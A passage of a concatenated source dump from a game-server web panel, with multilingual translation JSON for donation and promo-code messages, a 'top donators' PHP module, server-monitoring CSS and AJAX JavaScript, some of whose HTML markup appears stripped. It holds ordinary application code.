Донат: #%order%, сума %course% %amount%, Steam %steam%.", "LT" : "%gateway% - Gauta nauja spurga: #%order%, suma %course% %amount%, Steam %steam%", "DE" : "%gateway% - Erhielt einen neuen Donut: #%order%, Anzahl %course% %amount%, Steam %steam%.", "CH" : "%gateway% - 收到一个新的甜甜圈:#%order%,金额%course% %amount%,Steam %steam%." }, "_InPub":{ "EN" : "Enter public key", "RU" : "Введите публичный ключ.", "UA" : "Введіть публічний ключ", "LT" : "Įveskite viešą raktą", "DE" : "Geben Sie den öffentlichen Schlüssel ein", "CH" : "输入公钥" }, "_InSec":{ "EN" : "Enter secret key", "RU" : "Введите секретный ключ.", "UA" : "Введіть секретний ключ", "LT" : "įveskite slaptą raktą", "DE" : "Geben Sie den geheimen Schlüssel ein", "CH" : "输入密钥" }, "_SearchStatus":{ "EN" : "Search results", "RU" : "Результат поиска", "UA" : "Результат пошуку", "LT" : "Paieškos rezultatas", "DE" : "Suchergebnis", "CH" : "搜索结果" }, "_Noresult":{ "EN" : "The search has not given any results. Refine your request and try again", "RU" : "Поиск не дал результатов. Уточните Ваш запрос и повторите снова", "UA" : "Пошук не дав результатів. Уточніть Ваш запит і повторіть знову", "LT" : "Pagal jūsų užklausą rezultatų nebuvo. Patikslinkite savo prašymą ir bandykite dar kartą", "DE" : "Ihre Suche ergab keine Treffer. Verfeinern Sie Ihre Anfrage und versuchen Sie es erneut", "CH" : "您的搜索未返回任何结果。优化您的要求,然后重试" }, "_maxResult":{ "EN" : "If you didn’t go what you were looking for, then specify your request and try again", "RU" : "Если не нешли что искали, то уточните Ваш запрос и повторите снова", "UA" : "Якщо не нешлі що шукали, то уточніть Ваш запит і повторіть знову", "LT" : "Jei nesiėjote to, ko ieškojote, nurodykite prašymą ir bandykite dar kartą", "DE" : "Wenn Sie nicht das gefunden haben, wonach Sie gesucht haben, geben Sie Ihre Anfrage an und versuchen Sie es erneut", "CH" : "如果您没有找到您要找的内容,请指定您的请求并重试" }, "_NotFoundPromo":{ "EN" : "No promotion code found", "RU" : "Промокод не найден", "UA" : "Промокод не найден", "LT" : "Nerastas reklamos kodas", "DE" : "Kein Promotion-Code gefunden", "CH" : "找不到促销代码" }, "_NoLimitPromo":{ "EN" : "Your promotional code has been reached", "RU" : "Лимит использования промокода исчерпан", "UA" : "Ліміт використання промокодом вичерпаний", "LT" : "Jūsų reklamos kodas pasiektas", "DE" : "Ihr Aktionscode wurde erreicht", "CH" : "您的促销代码已经到达。" }, "_YouUsePromo":{ "EN" : "You have already used this promotional code", "RU" : "Вы уже использовали этот промокод", "UA" : "Ви вже використовували цей промокод", "LT" : "Šį reklamos kredito kodą jau panaudojote", "DE" : "Sie haben diesen Aktionscode bereits verwendet", "CH" : "您已使用此促销代码" }, "_BonusPromoUse":{ "EN" : "With the promotional code you will receive %newamount% to the balance!
    The promotional code gives +%percent% % to the recharge amount!", "RU" : "С промокодом Вы получите %newamount% на баланс!
    Промокод дает +%percent% % к сумме пополнения!", "UA" : "З промокодом Ви отримаєте %newamount% на баланс!
    Промокод дає +%percent% % до суми поповнення!", "LT" : "Su reklamos kredito kodu gausite %newamount% iki balanso!
    reklamos kodas suteikia +%percent% % papildymo sumai!", "DE" : "Mit dem Aktionscode erhalten Sie %newamount% Zum Guthaben!
    Der Aktionscode gibt +%percent% % zum Aufladebetrag!", "CH" : "使用促销代码,您将收到%newamount%平衡!
    促销代码给充值金额+%percent% %!" }, "_ExistPromo":{ "EN" : "This promotional code already exists", "RU" : "Такой промокод уже существует", "UA" : "Такий промокод уже існує", "LT" : "Šis reklaminis kodas jau yra", "DE" : "Dieser Promotion-Code existiert bereits", "CH" : "此促销代码已存在" }, "_NotCorBonus":{ "EN" : "In the bonus percentage field, you can enter only an integer value either with a period", "RU" : "В поле бонусный процент возможенн ввод только целое значение либо с точкой", "UA" : "В поле бонусний відсоток возможенн введення тільки ціле значення або з точкою", "LT" : "Premijos procentų laukelyje galite įvesti tik sveikąją skaičių, nurodydami periodą", "DE" : "Im Feld Bonusprozentsatz können Sie entweder mit einem Punkt nur einen ganzzahligen Wert eingeben", "CH" : "在奖励百分比字段中,您只能输入带有句点的整数值" }, "_EnterBonus":{ "EN" : "Enter your bonus code percentage", "RU" : "Введите бонусный процент промокода", "UA" : "Введіть бонусний відсоток промокодом", "LT" : "Įveskite savo premijos kodo procentą", "DE" : "Geben Sie Ihren Bonuscode-Prozentsatz ein", "CH" : "输入您的红利代码百分比" }, "_AddedPromo":{ "EN" : "Promo code %namepromo% added", "RU" : "Промокод %namepromo% добавлен", "UA" : "Промокод %namepromo% доданий", "LT" : "Pridėtas reklamos kodas %namepromo%", "DE" : "Promo-Code %namepromo% hinzugefügt", "CH" : "促销代码%namepromo%已添加" }, "_EditedPromo":{ "EN" : "%namepromo% changes saved", "RU" : "Изменеия %namepromo% сохранены", "UA" : "Изменеия %namepromo% збережені", "LT" : "%namepromo% pakeitimų išsaugota", "DE" : "%namepromo% Änderungen gespeichert", "CH" : "已保存%namepromo%更改" }, "_DeletedPromo":{ "EN" : "Promotion code deleted", "RU" : "Промокод удален", "UA" : "Промокод видалений", "LT" : "Reklamos kredito kodas ištrintas", "DE" : "Aktionscode gelöscht", "CH" : "促销代码已删除" }, "_Saved":{ "EN" : "Saved", "RU" : "Сохранено", "UA" : "збережено", "LT" : "Išsaugota", "DE" : "Gespeichert", "CH" : "保存" }, "_GatwayOff":{ "EN" : "Payment method via %name% is disabled by the Administrator", "RU" : "Способ оплаты через %name% выключен Администратором", "UA" : "Спосіб оплати через %name% вимкнений Адміністратором", "LT" : "Mokėjimo būdą per %name% išjungia administratorius", "DE" : "Die Zahlungsmethode über %name% wurde vom Administrator deaktiviert", "CH" : "管理员禁用通过%name%的付款方式" }, "_BusinessAccount":{ "EN" : "Business Account", "RU" : "Бизнес аккаунт", "UA" : "Бізнес аккаунт", "LT" : "Verslo sąskaita", "DE" : "Geschäftskonto", "CH" : "企业账户" }, "_ISOCourse":{ "EN" : "Currency", "RU" : "Валюта", "UA" : "Валюта", "LT" : "Valiuta", "DE" : "Währung", "CH" : "货币" }, "_DescPageLK":{ "EN" : "Replenish your balance simply", "RU" : "Пополняйте свой баланс просто", "UA" : "Поповнюйте свій баланс просто", "LT" : "Paprasčiausiai papildykite savo balansą", "DE" : "Laden Sie einfach Ihr Guthaben auf", "CH" : "简单地补充您的余额" }, "_EnterWebhoockUrl":{ "EN" : "Enter URL Webhook!", "RU" : "Введите URL Вебхука!", "UA" : "Введіть URL Вебхука!", "LT" : "Įveskite URL „Webhook“!", "DE" : "URL eingeben Webhook!", "CH" : "输入URL Webhook!" }, "_DataChangesGateway":{ "EN" : "Data changes in the %gateway% system saved!", "RU" : "Изменения данных в системе %gateway% сохранены!", "UA" : "Зміни даних в системі %gateway% збережені!", "LT" : "Duomenų pokyčiai sistemoje %gateway% išsaugoti!", "DE" : "Datenänderungen im %gateway% System gespeichert!", "CH" : "%gateway%系统中的数据更改已保存!" }, "_DeletedGateway":{ "EN" : "Cash desk successfully deleted!", "RU" : "Касса успешно удалена!", "UA" : "Каса успішно видалена!", "LT" : "Kasa sėkmingai ištrinta!", "DE" : "Kasse erfolgreich gelöscht!", "CH" : "收银台成功删除!" }, "_EnterPaypalAccount":{ "EN" : "Enter your e-mail business account in PayPal", "RU" : "Введите E-mail бизнес аккаунта в системе PayPal", "UA" : "Введіть E-mail бізнес аккаунта в системі PayPal", "LT" : "Įveskite savo el. Pašto įmonės sąskaitą „PayPal“", "DE" : "Geben Sie Ihr E-Mail-Geschäftskonto in PayPal ein", "CH" : "在PayPal中输入您的电子邮件业务帐户" }, "_UsersDelete":{ "EN" : "All players with zero donation removed", "RU" : "Удалены все игроки с нулевым донатом", "UA" : "Вилучені всі гравці з нульовим Донатом", "LT" : "Visi žaidėjai, kurių aukos nulinės, pašalintos“", "DE" : "Alle Spieler ohne Spende entfernt", "CH" : "删除了所有零捐赠的玩家" }, "_NewBalanceUser":{ "EN" : "New balance for %user% saved!", "RU" : "Новый баланс для %user% сохранен!", "UA" : "Новий баланс для %user% збережений!", "LT" : "Išsaugotas naujas %user% balansas!", "DE" : "Neuer Kontostand für %user% gespart!", "CH" : "已节省%user%的新余额!" }, "_OnPayUserDesc":{ "EN" : "LK MODULE - Balance replenishment for ", "RU" : "LK MODULE - Пополнение баланса для ", "UA" : "LK MODULE - Поповнення балансу для ", "LT" : "LK MODULIS - balanso papildymas ", "DE" : "LK MODUL - Guthaben auffüllen für ", "CH" : "LK MODULE-的余额补充 " } } ================================================ FILE: app/modules/disabled/module_page_lk_top/description.json ================================================ { "title": "LR WEB | LK TOP Donations", "info": "Adds a page with donated players", "author": "M0st1ce", "page": "lk_top", "version": "0.1", "required": { "core":"0.2","php":"5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1", "translation": 1, "interface": 1, "interface_adjacent": "afternavbar", "data": 1 }, "sidebar": { "0": { "href": "?page=lk_top", "open_new_tab": "0", "icon_group": "zmdi", "icon_category": "", "icon": "balance", "name": "Топ донатеров", "sidebar_directory": "_Sidebar_statistics" } } } ================================================ FILE: app/modules/disabled/module_page_lk_top/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ $res = []; if( ! empty( $Db->db_data['lk'][0]['mod'] ) && $Db->db_data['lk'][0]['mod'] == 2 ): $res = $Db->queryAll( 'lk', 0, 0, "SELECT `auth`, `name`, `all_money` AS `all_cash` FROM `lk_system` WHERE `all_money` > 1 order by `all_money` desc"); else: $res = $Db->queryAll( 'lk', 0, 0, "SELECT `auth`, `name`, `all_cash` FROM `lk` WHERE `all_cash` > 1 order by `all_cash` desc"); endif; $res == [] && header('Location: ' . $General->arr_general['site']); // Задаём заголовок страницы. $Modules->set_page_title( $General->arr_general['short_name'] . ' :: ' . $Translate->translate('module_page_lk_top', '_Top_donations') ); // Задаём описание страницы. $Modules->set_page_description( $General->arr_general['short_name'] . ' :: ' . $Translate->translate('module_page_lk_top', '_Top_donations') ); ================================================ FILE: app/modules/disabled/module_page_lk_top/forward/interface.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>
    translate('module_page_lk_top', '_Top_donations')?>
    arr_general['avatars'] != 0 ) {?>get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[$sz_i]['auth'] ) : $res[$sz_i]['auth'] )?> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/arr_general['only_steam_64'] === 1 ? con_steam32to64( $res[$sz_i]['steam'] ) : $res[$sz_i]['steam']?>//?search=1';"> arr_general['avatars'] ) ):?>
    # get_translate_phrase('_Player') ?> translate('module_page_lk_top', '_Amount')?>
    ="getAvatar( con_steam32to64( $res[ $sz_i ]['auth'] ), 2 )?>"> RUB.
    ================================================ FILE: app/modules/disabled/module_page_lk_top/translation.json ================================================ { "_Top_donations": { "EN": "TOP Donations", "BR": "TOP Doações", "RU": "Топ донатеров", "CRO": "TOP Donatori", "RS": "TOP Donatori", "BA": "TOP Donatori" }, "_Amount": { "EN": "Amount", "BR": "Amount", "RU": "Сумма", "CRO": "Suma", "RS": "Suma", "BA": "Suma" } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/assets/css/1.css ================================================ .custom-server { background-color: #141414; padding: 0; max-height: 200px } .custom-server:hover img { transform: scale(1.03); transition: all ease-in .3s; opacity: 0.85; } .custom-server img { position: relative; height: 200px; width: 100%; object-fit: cover; transition: all 1s ease-out; opacity: .4 } .card span { position: absolute; overflow: hidden; right: -19px; bottom: -16px; height: 135px; width: calc(100% + 35px) } .custom-server .data-basic { position: absolute; top: 19px; width: 100%; height: 100%; padding-top: 5px; padding-bottom: 5px; z-index: 1; text-align: center } .custom-server .data-basic .online { position: absolute; top:36px; left: 15%; font-size: 18px; font-weight: 400; width: 70%; border-radius: 10px; background-color: rgba(16, 16, 16, 0.5); margin: 0 auto; margin-top: 10px; line-height: 30px; height: 33px } .custom-server .data-basic .online .online2 { background: rgba(var(--server-graph-rgba)); background-size: 50px 50px; background-image: linear-gradient(-45deg, rgba(255, 255, 255, .2) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .2) 50%, rgba(255, 255, 255, .2) 75%, transparent 75%, transparent); height: 33px; max-width: 100%; border-radius: 10px; } .custom-server:hover .data-basic .online .online2 { background-size: 50px 50px; background-image: linear-gradient(-45deg, rgba(255, 255, 255, .2) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .2) 50%, rgba(255, 255, 255, .2) 75%, transparent 75%, transparent); animation: move 4s linear infinite; } .custom-server .data-basic .online .value { font-size: 17.5px; font-weight: 400; color: #fff; margin-top: -30px } .custom-server .data-basic .data-name { padding-top: 6px; font-size: 16px; font-weight: 500; color: #fff; z-index: 1; width: 100% } .custom-server .data-basic .ip { position: absolute; bottom: 62px; left: 6%; width: 70%; height: 33px; z-index: 99; font-size: 16px; font-weight: 500; color: #fff } .custom-server .border_ip { position: absolute; border-radius: 10px; background-color: rgba(16, 16, 16, 0.5); bottom: 68px; left: 15%; width: 70%; align-items: center; height: 33px; z-index: 98; } .custom-server .btn_connect { position: absolute; color: #fff; outline: none; font-weight: 500; font-size: 15px; cursor: pointer; border-top-right-radius: 10px; border-bottom-right-radius: 10px; background: var(--span-color); bottom: 68px; right: 15%; width: 13%; white-space: nowrap; align-items: center; height: 33px; z-index: 99; } .btn_connect_text { margin-top:5px } .icon-connect { margin-top: 5px; } .btn_connect i{ font-size: 22px; } @keyframes move { 0% { background-position: 0 0} 100% { background-position: 50px 50px} } .modal-window-server { position: fixed; display: none; top: 0; right: 0; bottom: 0; left: 0; z-index: 999; transition: all 0.3s; pointer-events: auto; } .modal-window-server .card { border: 1px solid var(--default-text-color); border-radius: 2px; } .modal-window-server > div { position: absolute; width: 25%; top: 50%; left: 50%; margin-right: -50%; transform: translate(-50%, -50%); -webkit-transform: translate(-50%, -50%); background: var(--sidebar-color); } .btn_connect_now{ float: right; max-width: 80px; max-height: 30px; margin-top: 14px; margin-right: 14px; margin-bottom: 14px; } .server_block_scroll { max-height: 400px; overflow-y: scroll; } @media (max-width: 575.98px) { .modal-window-server > div { width: 70%; top: 40%; } .modal-window-server .input-form{ display: none; } .server_block_scroll { max-height: 300px; } .mon-1 { display: none } .mon-2 { display: block } } @media (min-width: 576px) and (max-width: 767.98px) { .modal-window-server > div { width: 70%; top: 40%; } .server_block_scroll { max-height: 300px; } .mon-1 { display: none } .mon-2 { display: block } } @media (min-width: 768px) and (max-width: 991.98px) { .modal-window-server > div { width: 50%; top: 50%; } .server_block_scroll { max-height: 300px; } .mon-1 { display: none } .mon-2 { display: block } } @media (min-width: 992px) and (max-width: 1199.98px) { .modal-window-server > div { width: 38%; top: 50%; } .server_block_scroll { max-height: 300px; } .mon-1 { display: none } .mon-2 { display: block } } @media (min-width: 1200px) and (max-width: 1499.98px) { .custom-server .data-basic .data-name { font-size: 1vw; font-weight: 500; } .modal-window-server > div { width: 28%; } .mon-1 { display: block } .mon-2 { display: none } } @media (min-width: 1500px) { .modal-window-server > div { width: 28%; } .mon-1 { display: block } .mon-2 { display: none } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/assets/css/2.css ================================================ @keyframes move { 0% { background-position: 0 0} 100% { background-position: 50px 50px} } .modal-window-server { position: fixed; display: none; top: 0; right: 0; bottom: 0; left: 0; z-index: 999; transition: all 0.3s; pointer-events: auto; } .modal-window-server .card { border: 1px solid var(--default-text-color); border-radius: 2px; } .modal-window-server > div { position: absolute; width: 25%; top: 50%; left: 50%; margin-right: -50%; transform: translate(-50%, -50%); -webkit-transform: translate(-50%, -50%); background: var(--sidebar-color); } .btn_connect_now{ float: right; max-width: 80px; max-height: 30px; margin-top: 14px; margin-right: 14px; margin-bottom: 14px; } .server_block_scroll { max-height: 400px; overflow-y: scroll; } @media (max-width: 575.98px) { .modal-window-server > div { width: 70%; top: 40%; } .modal-window-server .input-form { display: none; } .server_block_scroll { max-height: 300px; } } @media (min-width: 576px) and (max-width: 767.98px) { .modal-window-server > div { width: 70%; top: 40%; } .server_block_scroll { max-height: 300px; } } @media (min-width: 768px) and (max-width: 991.98px) { .modal-window-server > div { width: 50%; top: 50%; } .server_block_scroll { max-height: 300px; } } @media (min-width: 992px) and (max-width: 1199.98px) { .modal-window-server > div { width: 38%; top: 50%; } .server_block_scroll { max-height: 300px; } } @media (min-width: 1200px) and (max-width: 1499.98px) { .modal-window-server > div { width: 28%; } } @media (min-width: 1500px) { .modal-window-server > div { width: 28%; } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/assets/css/3.css ================================================ .custom-server { background-color: #141414; padding: 0; max-height: 200px } .custom-server img { position: relative; height: 200px; width: 100%; object-fit: cover; transition: all 1s ease-out; opacity: .4 } .card span { position: absolute; overflow: hidden; right: -19px; bottom: -16px; height: 135px; width: calc(100% + 35px) } .custom-server .data-basic { position: absolute; top: 19px; width: 100%; padding-top: 5px; padding-bottom: 5px; z-index: 1; text-align: center } .custom-server .data-basic .online { font-size: 18px; font-weight: 400; width: 70%; border: 1px solid #fff; margin: 0 auto; margin-top: 10px; line-height: 30px; height: 35px } .custom-server .data-basic .online .online2 { background: rgba(var(--server-graph-rgba)); background-size: 5rem 5rem; background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); height: 33px; max-width: 100% } .custom-server .data-basic .online .value { font-size: 17.5px; font-weight: 400; color: #fff; margin-top: -30px } .custom-server .data-basic .data-name { padding-top: 6px; font-size: 17px; font-weight: 500; color: #fff; z-index: 1; width: 100% } .custom-server .data-basic .ip { font-weight: 500; color: #fff } .custom-server .border_ip { border: 1px solid #fff; margin-top: 16px; margin-left: 15%; width: 46%; float: left; align-items: center; height: 35px } @keyframes move { 0% { background-position: 0 0} 100% { background-position: 50px 50px} } .modal-window-server { position: fixed; display: none; top: 0; right: 0; bottom: 0; left: 0; z-index: 999; transition: all 0.3s; pointer-events: auto; } .modal-window-server .card { border: 1px solid var(--default-text-color); border-radius: 2px; } .modal-window-server > div { position: absolute; width: 25%; top: 50%; left: 50%; margin-right: -50%; transform: translate(-50%, -50%); -webkit-transform: translate(-50%, -50%); background: var(--sidebar-color); } .btn_connect_now{ float: right; max-width: 80px; max-height: 30px; margin-top: 14px; margin-right: 14px; margin-bottom: 14px; } .server_block_scroll { max-height: 400px; overflow-y: scroll; } .custom-server .btn_connect { cursor: pointer; width: 20%; margin-top: 16px; margin-right: 15%; white-space: nowrap; text-align: center; height: 35px; outline: none; font-weight: 400; font-size: 15px; float: right; background: var(--span-color); color: #fff; border: 1px solid #fff } .btn_connect_text { margin-top:5px } @media (max-width: 575.98px) { .mon-1 { display: none } .mon-2 { display: block } } @media (min-width: 576px) and (max-width: 767.98px) { .mon-1 { display: none } .mon-2 { display: block } } @media (min-width: 768px) and (max-width: 991.98px) { .mon-1 { display: none } .mon-2 { display: block } } @media (min-width: 992px) and (max-width: 1199.98px) { .mon-1 { display: none } .mon-2 { display: block } } @media (min-width: 1200px) and (max-width: 1499.98px) { .ip { margin-top: 4%; font-size: 14px } .mon-1 { display: block } .mon-2 { display: none } } @media (min-width: 1500px) { .ip { margin-top: 2%; font-size: 17px } .mon-1 { display: block } .mon-2 { display: none } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/assets/css/4.css ================================================ .custom-server:hover > img { transform: scale(1.03); transition: all ease-in .3s; opacity: 0.3; } .data-image > img { position: absolute; width: 30px; right: 30px; top: 0px; } .show_her { display: none; } @media (min-width: 768px) { .widthall { max-width: 100% !important; flex: 100 !important; } .show_her { display: block; } } .inline { display: inline; padding: 15px; font-weight: bold; } .custom-server > img { position: relative; height: 200px; width: 100%; object-fit: cover; transition: all 1s ease-out; opacity: .4 } .card span { position: absolute; overflow: hidden; right: -19px; bottom: -16px; height: 135px; width: calc(100% + 35px) } .custom-server .data-basic { position: absolute; top: 19px; width: 100%; height: 100%; padding-top: 5px; padding-bottom: 5px; z-index: 1; text-align: center } .custom-server .data-basic .online { position: absolute; top: 166px; left: 0%; font-size: 18px; font-weight: 400; width: 100%; /* border-radius: 10px; */ background-color: rgba(16, 16, 16, 0.5); margin: 0 auto; margin-top: 10px; /* line-height: 30px; */ height: 5px; } .custom-server .data-basic .online .online2 { background: rgba(var(--server-graph-rgba)); background-size: 50px 50px; background-image: linear-gradient(-45deg, rgba(255, 255, 255, .2) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .2) 50%, rgba(255, 255, 255, .2) 75%, transparent 75%, transparent); height: 6px; max-width: 100%; } .custom-server:hover .data-basic .online .online2 { background-size: 50px 50px; background-image: linear-gradient(-45deg, rgba(255, 255, 255, .2) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .2) 50%, rgba(255, 255, 255, .2) 75%, transparent 75%, transparent); animation: move 4s linear infinite; } .custom-server .data-basic .online .value { font-size: 14.5px; font-weight: 400; color: #eaeaea; margin-top: -35px; } .custom-server .data-basic .data-name { font-size: 13px !important; font-weight: 400; padding: 0 30px; text-transform: uppercase; overflow: hidden; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: #fff; margin-top: 40px; z-index: 1; width: 100%; } .custom-server .data-basic .ip { position: absolute; bottom: 90px; left: 15%; width: 70%; height: 33px; font-weight: 500; z-index: 99; user-select: all; font-size: 12px; color: #ffffff9c; } .custom-server .border_ip { position: absolute; border-radius: 10px; background-color: rgba(16, 16, 16, 0.5); bottom: 68px; left: 15%; width: 70%; align-items: center; height: 33px; z-index: 98; display: none; } .custom-server .btn_connect { position: absolute; color: #fff; outline: none; font-weight: 500; font-size: 15px; display: none; cursor: pointer; border-top-right-radius: 10px; border-bottom-right-radius: 10px; background: var(--span-color); bottom: 68px; right: 15%; width: 13%; white-space: nowrap; align-items: center; height: 33px; z-index: 99; } .btn_connect_text { margin-top:5px } .icon-connect { margin-top: 5px; } .btn_connect i{ font-size: 22px; } @keyframes move { 0% { background-position: 0 0} 100% { background-position: 50px 50px} } .modal-window-server { position: fixed; display: none; top: 0; right: 0; bottom: 0; left: 0; z-index: 999; transition: all 0.3s; pointer-events: auto; } .modal-window-server .card { border: 1px solid var(--default-text-color); border-radius: 2px; } .modal-window-server > div { position: absolute; width: 25%; top: 50%; left: 50%; margin-right: -50%; transform: translate(-50%, -50%); -webkit-transform: translate(-50%, -50%); background: var(--sidebar-color); } .btn_connect_now{ float: right; max-width: 80px; max-height: 30px; margin-top: 14px; margin-right: 14px; margin-bottom: 14px; } .server_block_scroll { max-height: 400px; overflow-y: scroll; } @media (max-width: 575.98px) { .modal-window-server > div { width: 70%; top: 40%; } .modal-window-server .input-form{ display: none; } .server_block_scroll { max-height: 300px; } } @media (min-width: 576px) and (max-width: 767.98px) { .modal-window-server > div { width: 70%; top: 40%; } .server_block_scroll { max-height: 300px; } } @media (min-width: 768px) and (max-width: 991.98px) { .modal-window-server > div { width: 50%; top: 50%; } .server_block_scroll { max-height: 300px; } } @media (min-width: 992px) and (max-width: 1199.98px) { .modal-window-server > div { width: 38%; top: 50%; } .server_block_scroll { max-height: 300px; } } @media (min-width: 1200px) and (max-width: 1499.98px) { .custom-server .data-basic .data-name { font-size: 1vw; /* font-weight: 500; */ } .modal-window-server > div { width: 28%; } } @media (min-width: 1500px) { .modal-window-server > div { width: 28%; } } .connect_blya { position: absolute; top: 59%; transform: translate(-32px, -10px); color: #fff; text-transform: uppercase; font-size: 13px; font-weight: bold; background: var(--span-color); padding: 4px 5px; border-radius: 5px; } .data-map { position: absolute; font-size: 12px; font-weight: bold; left: 30px; top: 10px; } ================================================ FILE: app/modules/module_block_main_servers_monitoring/assets/js/1.js ================================================ if (servers != 0) { $.ajax({ type: 'POST', url: domain+"app/modules/module_block_main_servers_monitoring/includes/js_controller.php", data: ({data: servers}), dataType: 'json', global: false, async:true, success: function( data ) { for (var i = 0; i < data.length; i++) { document.getElementById('server-name-' + i).innerHTML = data[i]['HostName']; document.getElementById('server-map-image-' + i).setAttribute("src", domain+"storage/cache/img/maps/"+ data[i]['Mod'] +"/" + data[i]['Map_image'] + ".jpg"); document.getElementById('server-players-' + i).innerHTML = data[i]['Players'] + "/" + data[i]['MaxPlayers']; document.getElementById('online_gr-' + i).setAttribute("style", "width:" + 100*data[i]['Players']/data[i]['MaxPlayers'] + "%"); document.getElementById('server-ip-' + i).innerHTML = data[i]['ip']; document.getElementById('server-tablename-' + i).innerHTML = data[i]['HostName']; document.getElementById('server-tablemap-' + i).innerHTML = data[i]['Map']; document.getElementById('server-tablemod-' + i).setAttribute("src", "./storage/cache/img/mods/" + data[i]['Mod'] + ".png"); document.getElementById('server-tableplayers-' + i).innerHTML = data[i]['Players'] + "/" + data[i]['MaxPlayers']; var b = 1; if(data[i]['players']) { if( data[i]['players'].length > 0 ) { for (var i2 = 0; i2 < data[i]['players'].length; i2++) { var str = '' + '' + b++ + '' + '' + data[i]['players'][i2]['Name'] + '' + '' + data[i]['players'][i2]['Frags'] + '' + '' + data[i]['players'][i2]['TimeF'] + '' + ''; po = document.getElementById('players_online_' + i); po.insertAdjacentHTML('beforeend', str); } var modal = document.getElementById('server-players-online-' + i ); document.getElementById('connect_server_' + i).setAttribute("href", "steam://connect/" + data[i]['ip'] ); } else { $('.btn_connect_' + i).prop("onclick", null).off("click"); $('.btn_connect_' + i).attr("href", "steam://connect/" + data[i]['ip'] ) $('.str_connect_' + i).attr("onclick", "document.location = 'steam://connect/" + data[i]['ip'] + "'" ) } } } } }); function get_players_data( i ) { var modal = document.getElementById('server-players-online-' + i ); modal.style.display = "block"; } function close_modal( i ) { var modal = document.getElementById('server-players-online-' + i ); modal.style.display = "none"; } }; ================================================ FILE: app/modules/module_block_main_servers_monitoring/assets/js/2.js ================================================ if (servers != 0) { $.ajax({ type: 'POST', url: domain+"app/modules/module_block_main_servers_monitoring/includes/js_controller.php", data: ({data: servers}), dataType: 'json', global: false, async:true, success: function( data ) { for (var i = 0; i < data.length; i++) { document.getElementById('server-tablename-' + i).innerHTML = data[i]['HostName']; document.getElementById('server-tablemap-' + i).innerHTML = data[i]['Map']; document.getElementById('server-tablemod-' + i).setAttribute("src", "./storage/cache/img/mods/" + data[i]['Mod'] + ".png"); document.getElementById('server-tableplayers-' + i).innerHTML = data[i]['Players'] + "/" + data[i]['MaxPlayers']; var b = 1; if( data[i]['players']) { if( data[i]['players'].length > 0 ) { console.log(data[i]['players']); for (var i2 = 0; i2 < data[i]['players'].length; i2++) { var str = '' + '' + b++ + '' + '' + data[i]['players'][i2]['Name'] + '' + '' + data[i]['players'][i2]['Frags'] + '' + '' + data[i]['players'][i2]['TimeF'] + '' + ''; po = document.getElementById('players_online_' + i); po.insertAdjacentHTML('beforeend', str); } var modal = document.getElementById('server-players-online-' + i ); document.getElementById('connect_server_' + i).setAttribute("href", "steam://connect/" + data[i]['ip'] ); } else { $('.btn_connect_' + i).prop("onclick", null).off("click"); $('.btn_connect_' + i).attr("href", "steam://connect/" + data[i]['ip'] ) $('.str_connect_' + i).attr("onclick", "document.location = 'steam://connect/" + data[i]['ip'] + "'" ) } } } } }); function get_players_data( i ) { var modal = document.getElementById('server-players-online-' + i ); modal.style.display = "block"; } function close_modal( i ) { var modal = document.getElementById('server-players-online-' + i ); modal.style.display = "none"; } }; ================================================ FILE: app/modules/module_block_main_servers_monitoring/assets/js/3.js ================================================ if (servers != 0) { $.ajax({ type: 'POST', url: domain+"app/modules/module_block_main_servers_monitoring/includes/js_controller.php", data: ({data: servers}), dataType: 'json', global: false, async:true, success: function( data ) { for (var i = 0; i < data.length; i++) { document.getElementById('server-name-' + i).innerHTML = data[i]['HostName']; document.getElementById('server-map-image-' + i).setAttribute("src", "./storage/cache/img/maps/"+ data[i]['Mod'] +"/" + data[i]['Map_image'] + ".jpg"); document.getElementById('server-players-' + i).innerHTML = data[i]['Players'] + "/" + data[i]['MaxPlayers']; document.getElementById('online_gr-' + i).setAttribute("style", "width:" + 100*data[i]['Players']/data[i]['MaxPlayers'] + "%"); document.getElementById('server-ip-' + i).innerHTML = data[i]['ip']; document.getElementById('server-tablename-' + i).innerHTML = data[i]['HostName']; document.getElementById('server-tablemap-' + i).innerHTML = data[i]['Map']; document.getElementById('server-tablemod-' + i).setAttribute("src", "./storage/cache/img/mods/" + data[i]['Mod'] + ".png"); document.getElementById('server-tableplayers-' + i).innerHTML = data[i]['Players'] + "/" + data[i]['MaxPlayers']; var b = 1; if( data[i]['players']) { if( data[i]['players'].length > 0 ) { console.log(data[i]['players']); for (var i2 = 0; i2 < data[i]['players'].length; i2++) { var str = '' + '' + b++ + '' + '' + data[i]['players'][i2]['Name'] + '' + '' + data[i]['players'][i2]['Frags'] + '' + '' + data[i]['players'][i2]['TimeF'] + '' + ''; po = document.getElementById('players_online_' + i); po.insertAdjacentHTML('beforeend', str); } var modal = document.getElementById('server-players-online-' + i ); document.getElementById('connect_server_' + i).setAttribute("href", "steam://connect/" + data[i]['ip'] ); } else { $('.btn_connect_' + i).prop("onclick", null).off("click"); $('.btn_connect_' + i).attr("href", "steam://connect/" + data[i]['ip'] ) $('.str_connect_' + i).attr("onclick", "document.location = 'steam://connect/" + data[i]['ip'] + "'" ) } } } } }); function get_players_data( i ) { var modal = document.getElementById('server-players-online-' + i ); modal.style.display = "block"; } function close_modal( i ) { var modal = document.getElementById('server-players-online-' + i ); modal.style.display = "none"; } }; ================================================ FILE: app/modules/module_block_main_servers_monitoring/assets/js/4.js ================================================ let minplayers = 0,maxplayers = 0, info, players; if (servers != 0) { 